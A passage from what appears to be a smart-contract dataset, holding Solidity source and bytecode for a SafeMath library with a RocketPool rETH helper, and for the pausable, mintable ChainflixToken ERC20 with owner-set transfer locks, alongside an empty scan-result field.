* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: RocketPoolHelper
contract RocketPoolHelper {
using SafeMath for uint256;
using Address for address;
IRocketPool internal constant rocketStorage =
IRocketPool(0x1d8f8f00cfa6758d7bE78336684788Fb0ee0Fa46);
/// @notice
/// Check if a user is able to transfer their rETH. Following deposit,
/// rocketpool has an adjustable freeze period (in blocks). At deployment
/// this is ~24 hours, but this will likely go down over time.
///
/// @param _user The address of the user to check
/// @return True if the user is free to move any rETH they have
function isRethFree(address _user) public view returns (bool) {
// Check which block the user's last deposit was
bytes32 key = keccak256(abi.encodePacked("user.deposit.block", _user));
uint256 lastDepositBlock = rocketStorage.getUint(key);
if (lastDepositBlock > 0) {
// Ensure enough blocks have passed
uint256 depositDelay =
rocketStorage.getUint(
keccak256(
abi.encodePacked(
keccak256("dao.protocol.setting.network"),
"network.reth.deposit.delay"
)
)
);
uint256 blocksPassed = block.number.sub(lastDepositBlock);
return blocksPassed > depositDelay;
} else {
return true; // true if we haven't deposited
}
}
/// @notice
/// Check to see if the rETH deposit pool can accept a specified amount
/// of ether based on deposits being enabled, minimum deposit size, and
/// free space remaining in the deposit pool.
///
/// @param _ethAmount The amount of ether to deposit
/// @return True if we can deposit the input amount of ether
function rEthCanAcceptDeposit(uint256 _ethAmount)
public
view
returns (bool)
{
IRocketPool rocketDAOProtocolSettingsDeposit =
IRocketPool(getRPLContract("rocketDAOProtocolSettingsDeposit"));
// first check that deposits are enabled
if (!rocketDAOProtocolSettingsDeposit.getDepositEnabled()) {
return false;
}
// now check that we have enough free space for our deposit
uint256 freeSpace = getPoolFreeSpace();
return freeSpace > _ethAmount;
}
/// @notice The current minimum deposit size into the rETH deposit pool.
function getMinimumDepositSize() public view returns (uint256) {
// pull our contract address
IRocketPool rocketDAOProtocolSettingsDeposit =
IRocketPool(getRPLContract("rocketDAOProtocolSettingsDeposit"));
return rocketDAOProtocolSettingsDeposit.getMinimumDeposit();
}
/// @notice The current free space in the rETH deposit pool.
function getPoolFreeSpace() public view returns (uint256) {
// pull our contract addresses
IRocketPool rocketDAOProtocolSettingsDeposit =
IRocketPool(getRPLContract("rocketDAOProtocolSettingsDeposit"));
IRocketPool rocketDepositPool =
IRocketPool(getRPLContract("rocketDepositPool"));
// now check the difference between max and current size
uint256 maxDeposit =
rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize().sub(
rocketDepositPool.getBalance()
);
return maxDeposit;
}
/// @notice The current rETH pool deposit address.
function getRocketDepositPoolAddress() public view returns (address) {
return getRPLContract("rocketDepositPool");
}
function getRPLContract(string memory _contractName)
internal
view
returns (address)
{
return
rocketStorage.getAddress(
keccak256(abi.encodePacked("contract.address", _contractName))
);
}
} | 0x608060405234801561001057600080fd5b50600436106100575760003560e01c806301aecae71461005c57806364b487c41461007a5780639c7bc92a1461009a578063cc31fc62146100ad578063e280199c146100c2575b600080fd5b6100646100ca565b6040516100719190610843565b60405180910390f35b61008d610088366004610755565b610184565b6040516100719190610838565b61008d6100a83660046106fd565b61025c565b6100b561041a565b6040516100719190610824565b610064610453565b60008061010b6040518060400160405280602081526020017f726f636b657444414f50726f746f636f6c53657474696e67734465706f7369748152506105c1565b9050806001600160a01b031663035cf1426040518163ffffffff1660e01b815260040160206040518083038186803b15801561014657600080fd5b505afa15801561015a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017e919061076d565b91505090565b6000806101c56040518060400160405280602081526020017f726f636b657444414f50726f746f636f6c53657474696e67734465706f7369748152506105c1565b9050806001600160a01b0316636ada78476040518163ffffffff1660e01b815260040160206040518083038186803b15801561020057600080fd5b505afa158015610214573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102389190610735565b610246576000915050610257565b6000610250610453565b8410925050505b919050565b6000808260405160200161027091906107b4565b60408051601f1981840301815290829052805160209091012063bd02d0f560e01b82529150600090731d8f8f00cfa6758d7be78336684788fb0ee0fa469063bd02d0f5906102c2908590600401610843565b60206040518083038186803b1580156102da57600080fd5b505afa1580156102ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610312919061076d565b9050801561040f576000731d8f8f00cfa6758d7be78336684788fb0ee0fa466001600160a01b031663bd02d0f57f7cb36cfba78818e097a3d983f102f9107317663854a5d185ea320a1e1a7da2156040516020016103709190610785565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016103a29190610843565b60206040518083038186803b1580156103ba57600080fd5b505afa1580156103ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f2919061076d565b90506000610400438461067f565b91909111935061025792505050565b600192505050610257565b600061044e604051806040016040528060118152602001701c9bd8dad95d11195c1bdcda5d141bdbdb607a1b8152506105c1565b905090565b6000806104946040518060400160405280602081526020017f726f636b657444414f50726f746f636f6c53657474696e67734465706f7369748152506105c1565b905060006104ca604051806040016040528060118152602001701c9bd8dad95d11195c1bdcda5d141bdbdb607a1b8152506105c1565b905060006105b9826001600160a01b03166312065fe06040518163ffffffff1660e01b815260040160206040518083038186803b15801561050a57600080fd5b505afa15801561051e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610542919061076d565b846001600160a01b031663fd6ce89e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561057b57600080fd5b505afa15801561058f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b3919061076d565b9061067f565b935050505090565b6000731d8f8f00cfa6758d7be78336684788fb0ee0fa466001600160a01b03166321f8a721836040516020016105f791906107ec565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016106299190610843565b60206040518083038186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106799190610719565b92915050565b60006106c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506106c8565b9392505050565b600081848411156106f55760405162461bcd60e51b81526004016106ec919061084c565b60405180910390fd5b505050900390565b60006020828403121561070e578081fd5b81356106c1816108af565b60006020828403121561072a578081fd5b81516106c1816108af565b600060208284031215610746578081fd5b815180151581146106c1578182fd5b600060208284031215610766578081fd5b5035919050565b60006020828403121561077e578081fd5b5051919050565b9081527f6e6574776f726b2e726574682e6465706f7369742e64656c61790000000000006020820152603a0190565b71757365722e6465706f7369742e626c6f636b60701b815260609190911b6bffffffffffffffffffffffff1916601282015260260190565b60006f636f6e74726163742e6164647265737360801b8252825161081781601085016020870161087f565b9190910160100192915050565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b600060208252825180602084015261086b81604085016020870161087f565b601f01601f19169190910160400192915050565b60005b8381101561089a578181015183820152602001610882565b838111156108a9576000848401525b50505050565b6001600160a01b03811681146108c457600080fd5b5056fea2646970667358221220587c78d42a00c7b9b5178af8cfe16ffc608a896ffc2fe33cd90f8f85980916cd64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 116 |
0x31ddecb25c862b8411d3ba54bfd65b4e663922fd | pragma solidity 0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
contract ERC20Pausable is ERC20, Pausable {
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ChainflixToken is ERC20Pausable, ERC20Detailed, ERC20Mintable {
mapping (address => uint256) _holder;
address _owner;
constructor()
ERC20Mintable()
ERC20Detailed('CHAINFLIX', 'CFXT', 18)
ERC20()
public
{
_owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
modifier whenNotHolder() {
require(!isHolder(msg.sender));
_;
}
function isHolder(address account) public view returns (bool) {
require(account != address(0));
return _holder[account] > block.number;
}
function addHolder(address account, uint256 expired) external onlyOwner {
require(account != address(0));
require(_holder[account] == 0);
_holder[account] = expired;
}
function removeHolder(address account) external onlyOwner {
_holder[account] = 0;
}
function transfer(address to, uint256 value) public whenNotHolder returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from,address to, uint256 value) public whenNotHolder returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotHolder returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotHolder returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotHolder returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
| 0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d357806318160ddd1461023857806323b872dd14610263578063313ce567146102e857806339509351146103195780633f4ba83a1461037e57806340c10f191461039557806346fbf68e146103fa5780635c975abb1461045557806361f15236146104845780636ef8d66d146104d157806370a08231146104e857806382dc1ec41461053f5780638456cb59146105825780638dd428081461059957806395d89b41146105dc578063983b2d561461066c57806398650275146106af578063a457c2d7146106c6578063a9059cbb1461072b578063aa271e1a14610790578063d4d7b19a146107eb578063dd62ed3e14610846575b600080fd5b34801561014f57600080fd5b506101586108bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061095f565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b5061024d610988565b6040518082815260200191505060405180910390f35b34801561026f57600080fd5b506102ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610992565b604051808215151515815260200191505060405180910390f35b3480156102f457600080fd5b506102fd6109bd565b604051808260ff1660ff16815260200191505060405180910390f35b34801561032557600080fd5b50610364600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d4565b604051808215151515815260200191505060405180910390f35b34801561038a57600080fd5b506103936109fd565b005b3480156103a157600080fd5b506103e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aac565b604051808215151515815260200191505060405180910390f35b34801561040657600080fd5b5061043b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ad6565b604051808215151515815260200191505060405180910390f35b34801561046157600080fd5b5061046a610af3565b604051808215151515815260200191505060405180910390f35b34801561049057600080fd5b506104cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b0a565b005b3480156104dd57600080fd5b506104e6610c38565b005b3480156104f457600080fd5b50610529600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c43565b6040518082815260200191505060405180910390f35b34801561054b57600080fd5b50610580600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c8b565b005b34801561058e57600080fd5b50610597610cab565b005b3480156105a557600080fd5b506105da600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5b565b005b3480156105e857600080fd5b506105f1610dff565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610631578082015181840152602081019050610616565b50505050905090810190601f16801561065e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561067857600080fd5b506106ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ea1565b005b3480156106bb57600080fd5b506106c4610ec1565b005b3480156106d257600080fd5b50610711600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ecc565b604051808215151515815260200191505060405180910390f35b34801561073757600080fd5b50610776600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ef5565b604051808215151515815260200191505060405180910390f35b34801561079c57600080fd5b506107d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f1e565b604051808215151515815260200191505060405180910390f35b3480156107f757600080fd5b5061082c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3b565b604051808215151515815260200191505060405180910390f35b34801561085257600080fd5b506108a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109555780601f1061092a57610100808354040283529160200191610955565b820191906000526020600020905b81548152906001019060200180831161093857829003601f168201915b5050505050905090565b600061096a33610f3b565b15151561097657600080fd5b6109808383611048565b905092915050565b6000600254905090565b600061099d33610f3b565b1515156109a957600080fd5b6109b4848484611078565b90509392505050565b6000600760009054906101000a900460ff16905090565b60006109df33610f3b565b1515156109eb57600080fd5b6109f583836110aa565b905092915050565b610a0633610ad6565b1515610a1157600080fd5b600460009054906101000a900460ff161515610a2c57600080fd5b6000600460006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610ab733610f1e565b1515610ac257600080fd5b610acc83836110da565b6001905092915050565b6000610aec82600361121890919063ffffffff16565b9050919050565b6000600460009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b6657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610ba257600080fd5b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515610bf057600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b610c41336112ac565b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c9433610ad6565b1515610c9f57600080fd5b610ca881611306565b50565b610cb433610ad6565b1515610cbf57600080fd5b600460009054906101000a900460ff16151515610cdb57600080fd5b6001600460006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610db757600080fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e975780601f10610e6c57610100808354040283529160200191610e97565b820191906000526020600020905b815481529060010190602001808311610e7a57829003601f168201915b5050505050905090565b610eaa33610f1e565b1515610eb557600080fd5b610ebe81611360565b50565b610eca336113ba565b565b6000610ed733610f3b565b151515610ee357600080fd5b610eed8383611414565b905092915050565b6000610f0033610f3b565b151515610f0c57600080fd5b610f168383611444565b905092915050565b6000610f3482600861121890919063ffffffff16565b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f7857600080fd5b43600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054119050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460009054906101000a900460ff1615151561106657600080fd5b6110708383611474565b905092915050565b6000600460009054906101000a900460ff1615151561109657600080fd5b6110a18484846115a1565b90509392505050565b6000600460009054906101000a900460ff161515156110c857600080fd5b6110d28383611753565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561110057600080fd5b6111158160025461198a90919063ffffffff16565b60028190555061116c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198a90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561125557600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6112c08160036119ab90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b61131a816003611a5a90919063fffffff